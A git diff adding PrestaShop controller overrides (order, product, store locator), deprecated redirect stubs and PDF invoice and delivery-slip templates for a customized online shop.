Product::getAllCustomizedDatas($this->context->cart->id); + + // override customization tax rate with real tax (tax rules) + if ($customizedDatas) + { + foreach ($summary['products'] as &$productUpdate) + { + $productId = (int)(isset($productUpdate['id_product']) ? $productUpdate['id_product'] : $productUpdate['product_id']); + $productAttributeId = (int)(isset($productUpdate['id_product_attribute']) ? $productUpdate['id_product_attribute'] : $productUpdate['product_attribute_id']); + + if (isset($customizedDatas[$productId][$productAttributeId])) + $productUpdate['tax_rate'] = Tax::getProductTaxRate($productId, $this->context->cart->{Configuration::get('PS_TAX_ADDRESS_TYPE')}); + } + + Product::addCustomizationPrice($summary['products'], $customizedDatas); + } + + $cart_product_context = Context::getContext()->cloneContext(); + foreach ($summary['products'] as $key => &$product) + { + $product['quantity'] = $product['cart_quantity'];// for compatibility with 1.2 themes + + if ($cart_product_context->shop->id != $product['id_shop']) + $cart_product_context->shop = new Shop((int)$product['id_shop']); + $product['price_without_specific_price'] = Product::getPriceStatic( + $product['id_product'], + !Product::getTaxCalculationMethod(), + $product['id_product_attribute'], + 2, + null, + false, + false, + 1, + false, + null, + null, + null, + $null, + true, + true, + $cart_product_context); + + if (Product::getTaxCalculationMethod()) + $product['is_discounted'] = $product['price_without_specific_price'] != $product['price']; + else + $product['is_discounted'] = $product['price_without_specific_price'] != $product['price_wt']; + } + + // Get available cart rules and unset the cart rules already in the cart + $available_cart_rules = CartRule::getCustomerCartRules($this->context->language->id, (isset($this->context->customer->id) ? $this->context->customer->id : 0), true, true, true, $this->context->cart); + $cart_cart_rules = $this->context->cart->getCartRules(); + foreach ($available_cart_rules as $key => $available_cart_rule) + { + if (!$available_cart_rule['highlight'] || strpos($available_cart_rule['code'], 'BO_ORDER_') === 0) + { + unset($available_cart_rules[$key]); + continue; + } + foreach ($cart_cart_rules as $cart_cart_rule) + if ($available_cart_rule['id_cart_rule'] == $cart_cart_rule['id_cart_rule']) + { + unset($available_cart_rules[$key]); + continue 2; + } + } + + $show_option_allow_separate_package = (!$this->context->cart->isAllProductsInStock(true) && Configuration::get('PS_SHIP_WHEN_AVAILABLE')); + + $this->context->smarty->assign($summary); + $this->context->smarty->assign(array( + 'token_cart' => Tools::getToken(false), + 'isLogged' => $this->isLogged, + 'isVirtualCart' => $this->context->cart->isVirtualCart(), + 'productNumber' => $this->context->cart->nbProducts(), + 'voucherAllowed' => CartRule::isFeatureActive(), + 'shippingCost' => $this->context->cart->getOrderTotal(true, Cart::ONLY_SHIPPING), + 'shippingCostTaxExc' => $this->context->cart->getOrderTotal(false, Cart::ONLY_SHIPPING), + 'customizedDatas' => $customizedDatas, + 'CUSTOMIZE_FILE' => Product::CUSTOMIZE_FILE, + 'CUSTOMIZE_TEXTFIELD' => Product::CUSTOMIZE_TEXTFIELD, + 'lastProductAdded' => $this->context->cart->getLastProduct(), + 'displayVouchers' => $available_cart_rules, + 'currencySign' => $this->context->currency->sign, + 'currencyRate' => $this->context->currency->conversion_rate, + 'currencyFormat' => $this->context->currency->format, + 'currencyBlank' => $this->context->currency->blank, + 'show_option_allow_separate_package' => $show_option_allow_separate_package, + + )); + + $this->context->smarty->assign(array( + 'HOOK_SHOPPING_CART' => Hook::exec('displayShoppingCartFooter', $summary), + 'HOOK_SHOPPING_CART_EXTRA' => Hook::exec('displayShoppingCart', $summary) + )); + } + + protected function _assignAddress() + { + //if guest checkout disabled and flag is_guest in cookies is actived + if (Configuration::get('PS_GUEST_CHECKOUT_ENABLED') == 0 && ((int)$this->context->customer->is_guest != Configuration::get('PS_GUEST_CHECKOUT_ENABLED'))) + { + $this->context->customer->logout(); + Tools::redirect(''); + } + else if (!Customer::getAddressesTotalById($this->context->customer->id)) + Tools::redirect('index.php?controller=address&back='.urlencode('order.php?step=1&multi-shipping='.(int)Tools::getValue('multi-shipping'))); + $customer = $this->context->customer; + if (Validate::isLoadedObject($customer)) + { + /* Getting customer addresses */ + $customerAddresses = $customer->getAddresses($this->context->language->id); + + // Getting a list of formated address fields with associated values + $formatedAddressFieldsValuesList = array(); + foreach ($customerAddresses as $address) + { + $tmpAddress = new Address($address['id_address']); + + $formatedAddressFieldsValuesList[$address['id_address']]['ordered_fields'] = AddressFormat::getOrderedAddressFields($address['id_country']); + $formatedAddressFieldsValuesList[$address['id_address']]['formated_fields_values'] = AddressFormat::getFormattedAddressFieldsValues( + $tmpAddress, + $formatedAddressFieldsValuesList[$address['id_address']]['ordered_fields']); + + unset($tmpAddress); + } + $this->context->smarty->assign(array( + 'addresses' => $customerAddresses, + 'formatedAddressFieldsValuesList' => $formatedAddressFieldsValuesList)); + + /* Setting default addresses for cart */ + if ((!isset($this->context->cart->id_address_delivery) || empty($this->context->cart->id_address_delivery)) && count($customerAddresses)) + { + $this->context->cart->id_address_delivery = (int)($customerAddresses[0]['id_address']); + $update = 1; + } + if ((!isset($this->context->cart->id_address_invoice) || empty($this->context->cart->id_address_invoice)) && count($customerAddresses)) + { + $this->context->cart->id_address_invoice = (int)($customerAddresses[0]['id_address']); + $update = 1; + } + /* Update cart addresses only if needed */ + if (isset($update) && $update) + { + $this->context->cart->update(); + + // Address has changed, so we check if the cart rules still apply + CartRule::autoRemoveFromCart($this->context); + CartRule::autoAddToCart($this->context); + } + + /* If delivery address is valid in cart, assign it to Smarty */ + if (isset($this->context->cart->id_address_delivery)) + { + $deliveryAddress = new Address((int)($this->context->cart->id_address_delivery)); + if (Validate::isLoadedObject($deliveryAddress) && ($deliveryAddress->id_customer == $customer->id)) + $this->context->smarty->assign('delivery', $deliveryAddress); + } + + /* If invoice address is valid in cart, assign it to Smarty */ + if (isset($this->context->cart->id_address_invoice)) + { + $invoiceAddress = new Address((int)($this->context->cart->id_address_invoice)); + if (Validate::isLoadedObject($invoiceAddress) && ($invoiceAddress->id_customer == $customer->id)) + $this->context->smarty->assign('invoice', $invoiceAddress); + } + } + if ($oldMessage = Message::getMessageByCartId((int)($this->context->cart->id))) + $this->context->smarty->assign('oldMessage', $oldMessage['message']); + // $this->context->smarty->assign('orderTotal',$this->context->cart->getOrderTotal(true,Cart::ONLY_PRODUCTS)); + } + + protected function _assignCarrier() + { + $address = new Address($this->context->cart->id_address_delivery); + $id_zone = Address::getZoneById($address->id); + $carriers = $this->context->cart->simulateCarriersOutput(); + $checked = $this->context->cart->simulateCarrierSelectedOutput(); + $delivery_option_list = $this->context->cart->getDeliveryOptionList(); + $this->setDefaultCarrierSelection($delivery_option_list); + + $this->context->smarty->assign(array( + 'address_collection' => $this->context->cart->getAddressCollection(), + 'delivery_option_list' => $delivery_option_list, + 'carriers' => $carriers, + 'checked' => $checked, + 'delivery_option' => $this->context->cart->getDeliveryOption(null, false) + )); + + $vars = array( + 'HOOK_BEFORECARRIER' => Hook::exec('displayBeforeCarrier', array( + 'carriers' => $carriers, + 'checked' => $checked, + 'delivery_option_list' => $delivery_option_list, + 'delivery_option' => $this->context->cart->getDeliveryOption(null, false) + )) + ); + + Cart::addExtraCarriers($vars); + + $this->context->smarty->assign($vars); + } + + protected function _assignWrappingAndTOS() + { + // Wrapping fees + $wrapping_fees = $this->context->cart->getGiftWrappingPrice(false); + $wrapping_fees_tax_inc = $wrapping_fees = $this->context->cart->getGiftWrappingPrice(); + + // TOS + $cms = new CMS(Configuration::get('PS_CONDITIONS_CMS_ID'), $this->context->language->id); + $this->link_conditions = $this->context->link->getCMSLink($cms, $cms->link_rewrite, false); + if (!strpos($this->link_conditions, '?')) + $this->link_conditions .= '?content_only=1'; + else + $this->link_conditions .= '&content_only=1'; + + $free_shipping = false; + foreach ($this->context->cart->getCartRules() as $rule) + { + if ($rule['free_shipping'] && !$rule['carrier_restriction']) + { + $free_shipping = true; + break; + } + } + $this->context->smarty->assign(array( + 'free_shipping' => $free_shipping, + 'checkedTOS' => (int)($this->context->cookie->checkedTOS), + 'recyclablePackAllowed' => (int)(Configuration::get('PS_RECYCLABLE_PACK')), + 'giftAllowed' => (int)(Configuration::get('PS_GIFT_WRAPPING')), + 'cms_id' => (int)(Configuration::get('PS_CONDITIONS_CMS_ID')), + 'conditions' => (int)(Configuration::get('PS_CONDITIONS')), + 'link_conditions' => $this->link_conditions, + 'recyclable' => (int)($this->context->cart->recyclable), + 'delivery_option_list' => $this->context->cart->getDeliveryOptionList(), + 'carriers' => $this->context->cart->simulateCarriersOutput(), + 'checked' => $this->context->cart->simulateCarrierSelectedOutput(), + 'address_collection' => $this->context->cart->getAddressCollection(), + 'delivery_option' => $this->context->cart->getDeliveryOption(null, false), + 'gift_wrapping_price' => (float)$wrapping_fees, + 'total_wrapping_cost' => Tools::convertPrice($wrapping_fees_tax_inc, $this->context->currency), + 'total_wrapping_tax_exc_cost' => Tools::convertPrice($wrapping_fees, $this->context->currency))); + } + + protected function _assignPayment() + { + $this->context->smarty->assign(array( + 'HOOK_TOP_PAYMENT' => Hook::exec('displayPaymentTop'), + 'HOOK_PAYMENT' => Hook::exec('displayPayment'), + )); + } + + /** + * Set id_carrier to 0 (no shipping price) + */ + protected function setNoCarrier() + { + $this->context->cart->setDeliveryOption(null); + $this->context->cart->update(); + } + + /** + * Decides what the default carrier is and update the cart with it + * + * @todo this function must be modified - id_carrier is now delivery_option + * + * @param array $carriers + * + * @deprecated since 1.5.0 + * + * @return number the id of the default carrier + */ + protected function setDefaultCarrierSelection($carriers) + { + if (!$this->context->cart->getDeliveryOption(null, true)) + $this->context->cart->setDeliveryOption($this->context->cart->getDeliveryOption()); + } + + /** + * Decides what the default carrier is and update the cart with it + * + * @param array $carriers + * + * @deprecated since 1.5.0 + * + * @return number the id of the default carrier + */ + protected function _setDefaultCarrierSelection($carriers) + { + $this->context->cart->id_carrier = Carrier::getDefaultCarrierSelection($carriers, (int)$this->context->cart->id_carrier); + + if ($this->context->cart->update()) + return $this->context->cart->id_carrier; + return 0; + } + +} + diff --git a/override/controllers/front/ProductController.php b/override/controllers/front/ProductController.php new file mode 100755 index 0000000..2925cdc --- /dev/null +++ b/override/controllers/front/ProductController.php @@ -0,0 +1,138 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class ProductController extends ProductControllerCore +{ + + public function init() + { + parent::init(); + if (isset($this->category->id) && $this->category->id==12){ + // header('HTTP/1.1 403 Forbidden'); + // header('Status: 403 Forbidden'); + Tools::redirect('404.php'); + // $this->errors[] = Tools::displayError('You do not have access to this category.'); + // $this->customer_access = false; + } + $this->customer = $this->context->customer; + } + + public function checkAge($naiss){ + if($naiss=="0000-00-00") + return false; + + $naissance=explode('-', $naiss); + $annee=$naissance[0]; + $mois=$naissance[1]; + // revoir l'index parce que la ça tape sur l'année et non le jour !!! + $jour=$naissance[0]; + $today['mois'] = date('n'); + $today['jour'] = date('j'); + $today['annee'] = date('Y'); + $annees = $today['annee'] - $annee; + + if ($today['mois'] <= $mois) { + if ($mois == $today['mois']) { + if ($jour > $today['jour']) + $annees--; + } else + $annees--; + } + return $annees; + } + + public function initContent() + { + if ($this->customer->birthday != null) { + $this->customer->age = $this->checkAge($this->customer->birthday); + } + $this->context->smarty->assign('customer', $this->customer); + + parent::initContent(); + } + + /** + * Set default medias for this controller + */ + public function setMedia() + { + parent::setMedia(); + + if ($this->context->getMobileDevice() == true) + { + $this->addCSS(_THEME_CSS_DIR_.'product.css'); + } + } + + + protected function assignImages() + { + $images = $this->product->getImages((int)$this->context->cookie->id_lang, null, true); + $product_images = array(); + + if(isset($images[0])) + $this->context->smarty->assign('mainImage', $images[0]); + foreach ($images as $k => $image) + { + if ($image['cover']) + { + $this->context->smarty->assign('mainImage', $image); + $cover = $image; + $cover['id_image'] = (Configuration::get('PS_LEGACY_IMAGES') ? ($this->product->id.'-'.$image['id_image']) : $image['id_image']); + $cover['id_image_only'] = (int)$image['id_image']; + } + $product_images[(int)$image['id_image']] = $image; + } + + if (!isset($cover)) + { + if(isset($images[0])) + { + $cover = $images[0]; + $cover['id_image'] = (Configuration::get('PS_LEGACY_IMAGES') ? ($this->product->id.'-'.$images[0]['id_image']) : $images[0]['id_image']); + $cover['id_image_only'] = (int)$images[0]['id_image']; + } + else + $cover = array( + 'id_image' => $this->context->language->iso_code.'-default', + 'legend' => 'No picture', + 'title' => 'No picture' + ); + } + $size = Image::getSize(ImageType::getFormatedName('large')); + $this->context->smarty->assign(array( + 'have_image' => isset($cover['id_image'])? array((int)$cover['id_image']) : Product::getCover((int)Tools::getValue('id_product')), + 'cover' => $cover, + 'imgWidth' => (int)$size['width'], + 'mediumSize' => Image::getSize(ImageType::getFormatedName('medium')), + 'largeSize' => Image::getSize(ImageType::getFormatedName('large')), + 'homeSize' => Image::getSize(ImageType::getFormatedName('home')), + 'col_img_dir' => _PS_COL_IMG_DIR_)); + if (count($product_images)) + $this->context->smarty->assign('images', $product_images); + } + +} diff --git a/override/controllers/front/StoresController.php b/override/controllers/front/StoresController.php new file mode 100755 index 0000000..ce4ffa0 --- /dev/null +++ b/override/controllers/front/StoresController.php @@ -0,0 +1,209 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class StoresController extends StoresControllerCore +{ + + public function renderStoreWorkingHours($store) + { + global $smarty; + + $days[1] = 'Monday'; + $days[2] = 'Tuesday'; + $days[3] = 'Wednesday'; + $days[4] = 'Thursday'; + $days[5] = 'Friday'; + $days[6] = 'Saturday'; + $days[7] = 'Sunday'; + + $days_datas = array(); + // $hours = array_filter(unserialize($store['hours'])); + // if (!empty($hours)) + // { + // for ($i = 1; $i < 8; $i++) + // { + // if (isset($hours[(int)($i) - 1])) + // { + // $hours_datas = array(); + // $hours_datas['hours'] = $hours[(int)($i) - 1]; + // $hours_datas['day'] = $days[$i]; + // $days_datas[] = $hours_datas; + // } + // } + // $smarty->assign('days_datas', $days_datas); + // $smarty->assign('id_country', $store['id_country']); + // return $this->context->smarty->fetch(_PS_THEME_DIR_.'store_infos.tpl'); + // } + return false; + } + public function getStores() + { + $distanceUnit = Configuration::get('PS_DISTANCE_UNIT'); + if (!in_array($distanceUnit, array('km', 'mi'))) + $distanceUnit = 'km'; + + if (Tools::getValue('all') == 1) + { + $stores = Db::getInstance()->executeS(' + SELECT s.*, cl.name country, st.iso_code state + FROM '._DB_PREFIX_.'store s + '.Shop::addSqlAssociation('store', 's').' + LEFT JOIN '._DB_PREFIX_.'country_lang cl ON (cl.id_country = s.id_country) + LEFT JOIN '._DB_PREFIX_.'state st ON (st.id_state = s.id_state) + WHERE s.active = 1 AND cl.id_lang = '.(int)$this->context->language->id); + } + else + { + // $distance = (int)(Tools::getValue('radius', 100)); + $distance = 40; + $multiplicator = ($distanceUnit == 'km' ? 6371 : 3959); + + $stores = Db::getInstance()->executeS(' + SELECT s.*, cl.name country, st.iso_code state, + ('.(int)($multiplicator).' + * acos( + cos(radians('.(float)(Tools::getValue('latitude')).')) + * cos(radians(latitude)) + * cos(radians(longitude) - radians('.(float)(Tools::getValue('longitude')).')) + + sin(radians('.(float)(Tools::getValue('latitude')).')) + * sin(radians(latitude)) + ) + ) distance, + cl.id_country id_country + FROM '._DB_PREFIX_.'store s + '.Shop::addSqlAssociation('store', 's').' + LEFT JOIN '._DB_PREFIX_.'country_lang cl ON (cl.id_country = s.id_country) + LEFT JOIN '._DB_PREFIX_.'state st ON (st.id_state = s.id_state) + WHERE s.active = 1 AND cl.id_lang = '.(int)$this->context->language->id.' + HAVING distance < '.(int)($distance).' + ORDER BY distance ASC + LIMIT 0,50'); + // print_r($stores); + } + + return $stores; + } + protected function displayAjax() + { + $stores = $this->getStores(); + $dom = new DOMDocument('1.0'); + $node = $dom->createElement('markers'); + $parnode = $dom->appendChild($node); + + $days[1] = 'Monday'; + $days[2] = 'Tuesday'; + $days[3] = 'Wednesday'; + $days[4] = 'Thursday'; + $days[5] = 'Friday'; + $days[6] = 'Saturday'; + $days[7] = 'Sunday'; + + foreach ($stores as $store) + { + $other = ''; + $node = $dom->createElement('marker'); + $newnode = $parnode->appendChild($node); + $newnode->setAttribute('name', $store['name']); + $newnode->setAttribute('note', $store['note']); + $address = $this->processStoreAddress($store); + + $other .= $this->renderStoreWorkingHours($store); + $newnode->setAttribute('addressNoHtml', strip_tags(str_replace('
        ', ' ', $address))); + $newnode->setAttribute('address', $address); + $newnode->setAttribute('other', $other); + $newnode->setAttribute('phone', $store['phone']); + $newnode->setAttribute('id_store', (int)($store['id_store'])); + $newnode->setAttribute('has_store_picture', file_exists(_PS_STORE_IMG_DIR_.(int)($store['id_store']).'.jpg')); + $newnode->setAttribute('lat', (float)($store['latitude'])); + $newnode->setAttribute('lng', (float)($store['longitude'])); + if (isset($store['distance'])) + $newnode->setAttribute('distance', round($store['distance'],1)); + } + + header('Content-type: text/xml'); + die($dom->saveXML()); + } + protected function processStoreAddress($store) + { + $ignore_field = array( + 'phone', + 'firstname', + 'lastname' + ); + + $out_datas = array(); + + $address_datas = AddressFormat::getOrderedAddressFields($store['id_country'], false, true); + $state = (isset($store['id_state'])) ? new State($store['id_state']) : null; + + foreach ($address_datas as $data_line) + { + $data_fields = explode(' ', $data_line); + $addr_out = array(); + + $data_fields_mod = false; + foreach ($data_fields as $field_item) + { + $field_item = trim($field_item); + if (!in_array($field_item, $ignore_field) && !empty($store[$field_item])) + { + $addr_out[] = ($field_item == 'city' && $state && isset($state->iso_code) && strlen($state->iso_code)) ? + $store[$field_item].', '.$state->iso_code : $store[$field_item]; + $data_fields_mod = true; + } + } + if ($data_fields_mod) + $out_datas[] = implode(' ', $addr_out); + } + + $out = implode('
        ', $out_datas); + return $out; + } + + public function setMedia() + { + + parent::setMedia(); + if ($this->context->getMobileDevice() == false){ + $this->addCSS(_THEME_CSS_DIR_.'stores.css'); + $this->addJS(_THEME_JS_DIR_.'stores.js'); + }else{ + + $this->addCSS(_THEME_CSS_DIR_.'storesmobile.css'); + $this->addJS(_THEME_JS_DIR_.'storesmobile.js'); + } + $default_country = new Country((int)Configuration::get('PS_COUNTRY_DEFAULT')); + $this->addJS('http://maps.google.com/maps/api/js?sensor=true&region='.substr($default_country->iso_code, 0, 2)); + + } + public function initContent() + { + if(Tools::getValue('magasins')) + $this->context->smarty->assign('magasins',1); + parent::initContent(); + + } +} diff --git a/override/controllers/front/index.php b/override/controllers/front/index.php new file mode 100755 index 0000000..d7d1695 --- /dev/null +++ b/override/controllers/front/index.php @@ -0,0 +1,36 @@ + +* @copyright 2007-2013 PrestaShop SA +* @version Release: $Revision$ +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/override/controllers/index.php b/override/controllers/index.php new file mode 100755 index 0000000..9ad029e --- /dev/null +++ b/override/controllers/index.php @@ -0,0 +1,36 @@ + +* @copyright 2007-2013 PrestaShop SA +* @version Release: $Revision$ +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/override/index.php b/override/index.php new file mode 100755 index 0000000..d7d1695 --- /dev/null +++ b/override/index.php @@ -0,0 +1,36 @@ + +* @copyright 2007-2013 PrestaShop SA +* @version Release: $Revision$ +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/password.php b/password.php new file mode 100755 index 0000000..c752894 --- /dev/null +++ b/password.php @@ -0,0 +1,37 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +/** + * This file will be removed in 1.6 + * You have to use index.php?controller=page_name instead of this page + * + * @deprecated 1.5.0 + */ + +require(dirname(__FILE__).'/config/config.inc.php'); +Tools::displayFileAsDeprecated(); + +Tools::redirect('index.php?controller=password'.($_REQUEST ? '&'.http_build_query($_REQUEST, '', '&') : ''), __PS_BASE_URI__, null, 'HTTP/1.1 301 Moved Permanently'); \ No newline at end of file diff --git a/pdf-invoice.php b/pdf-invoice.php new file mode 100755 index 0000000..ad215af --- /dev/null +++ b/pdf-invoice.php @@ -0,0 +1,37 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +/** + * This file will be removed in 1.6 + * You have to use index.php?controller=page_name instead of this page + * + * @deprecated 1.5.0 + */ + +include(dirname(__FILE__).'/config/config.inc.php'); +Tools::displayFileAsDeprecated(); + +Tools::redirect('index.php?controller=pdf-invoice'.($_REQUEST ? '&'.http_build_query($_REQUEST, '', '&') : ''), __PS_BASE_URI__, null, 'HTTP/1.1 301 Moved Permanently'); \ No newline at end of file diff --git a/pdf-offrefidelite.php b/pdf-offrefidelite.php new file mode 100755 index 0000000..90da694 --- /dev/null +++ b/pdf-offrefidelite.php @@ -0,0 +1,37 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +/** + * This file will be removed in 1.6 + * You have to use index.php?controller=page_name instead of this page + * + * @deprecated 1.5.0 + */ + +include(dirname(__FILE__).'/config/config.inc.php'); +Tools::displayFileAsDeprecated(); + +Tools::redirect('index.php?controller=pdf-offrefidelite'.($_REQUEST ? '&'.http_build_query($_REQUEST, '', '&') : ''), __PS_BASE_URI__, null, 'HTTP/1.1 301 Moved Permanently'); \ No newline at end of file diff --git a/pdf-order-return.php b/pdf-order-return.php new file mode 100755 index 0000000..4eb2025 --- /dev/null +++ b/pdf-order-return.php @@ -0,0 +1,37 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +/** + * This file will be removed in 1.6 + * You have to use index.php?controller=page_name instead of this page + * + * @deprecated 1.5.0 + */ + +include(dirname(__FILE__).'/config/config.inc.php'); +Tools::displayFileAsDeprecated(); + +Tools::redirect('index.php?controller=pdf-order-return'.($_REQUEST ? '&'.http_build_query($_REQUEST, '', '&') : ''), __PS_BASE_URI__, null, 'HTTP/1.1 301 Moved Permanently'); \ No newline at end of file diff --git a/pdf-order-slip.php b/pdf-order-slip.php new file mode 100755 index 0000000..5388008 --- /dev/null +++ b/pdf-order-slip.php @@ -0,0 +1,37 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +/** + * This file will be removed in 1.6 + * You have to use index.php?controller=page_name instead of this page + * + * @deprecated 1.5.0 + */ + +include(dirname(__FILE__).'/config/config.inc.php'); +Tools::displayFileAsDeprecated(); + +Tools::redirect('index.php?controller=pdf-order-slip'.($_REQUEST ? '&'.http_build_query($_REQUEST, '', '&') : ''), __PS_BASE_URI__, null, 'HTTP/1.1 301 Moved Permanently'); \ No newline at end of file diff --git a/pdf/delivery-slip.tpl b/pdf/delivery-slip.tpl new file mode 100755 index 0000000..affc127 --- /dev/null +++ b/pdf/delivery-slip.tpl @@ -0,0 +1,142 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} +
        + + + +
         
        + + + + + + + +
        + {if !empty($invoice_address)} + + + + + +
        + {l s='Delivery Address' pdf='true'}
        + {$delivery_address} +
        + {l s='Billing Address' pdf='true'}
        + {$invoice_address} +
        + {else} + + + + + +
        + {l s='Billing & Delivery Address' pdf='true'}
        + {$delivery_address} +
        + +
        + {/if} +
        + + + + +
         
        + + + + + + + +
        + + {l s='Order Number:' pdf='true'}
        + {$order->getUniqReference()}
        +
        + {l s='Order Date:' pdf='true'}
        + {dateFormat date=$order->date_add full=0}
        +
        + {l s='Payment Method:' pdf='true'}
        + + {foreach from=$order_invoice->getOrderPaymentCollection() item=payment} + + + + + {foreachelse} + + + + {/foreach} +
        {$payment->payment_method}{displayPrice price=$payment->amount currency=$order->id_currency}
        {l s='No payment'}
        +
        + +
        + + + + + + + {foreach $order_details as $product} + {cycle values='#FFF,#DDD' assign=bgcolor} + + + + + + {/foreach} +
        {l s='ITEMS TO BE DELIVERED' pdf='true'}{l s='REFERENCE' pdf='true'}{l s='QTY' pdf='true'}
        {$product.product_name} + {if empty($product.product_reference)} + --- + {else} + {$product.product_reference} + {/if} + {$product.product_quantity}
        +
        + + + + +
         
        + +{if isset($HOOK_DISPLAY_PDF)} +
         
        + + + + + +
        + {$HOOK_DISPLAY_PDF} +
        +{/if} + +
        + diff --git a/pdf/footer.tpl b/pdf/footer.tpl new file mode 100755 index 0000000..b7e6bce --- /dev/null +++ b/pdf/footer.tpl @@ -0,0 +1,59 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + {if $page_name!="offredefidelite"} + + + + +
        + {*if $available_in_your_account} + {l s='An electronic version of this invoice is available in your account. To access it, log in to our website using your e-mail address and password (which you created when placing your first order).' pdf='true'} +
        + {/if*} + {$shop_address|escape:'htmlall':'UTF-8'}
        + + {if !empty($shop_phone) OR !empty($shop_fax)} + {l s='For more assistance, contact Support:' pdf='true'}
        + {if !empty($shop_phone)} + Tel: {$shop_phone|escape:'htmlall':'UTF-8'} + {/if} + + {if !empty($shop_fax)} + Fax: {$shop_fax|escape:'htmlall':'UTF-8'} + {/if} +
        + {/if} + + {if isset($shop_details)} + {$shop_details|escape:'htmlall':'UTF-8'}
        + {/if} + + {if isset($free_text)} + {$free_text|escape:'htmlall':'UTF-8'}
        + {/if} +
        +{else} +{/if} + diff --git a/pdf/header.tpl b/pdf/header.tpl new file mode 100755 index 0000000..5351323 --- /dev/null +++ b/pdf/header.tpl @@ -0,0 +1,48 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + + + + + + +
        + {if $logo_path} + + {/if} + + + + + + + + + + + +
        {$shop_name|escape:'htmlall':'UTF-8'}
        {$date|escape:'htmlall':'UTF-8'}
        {$title|escape:'htmlall':'UTF-8'}
        +
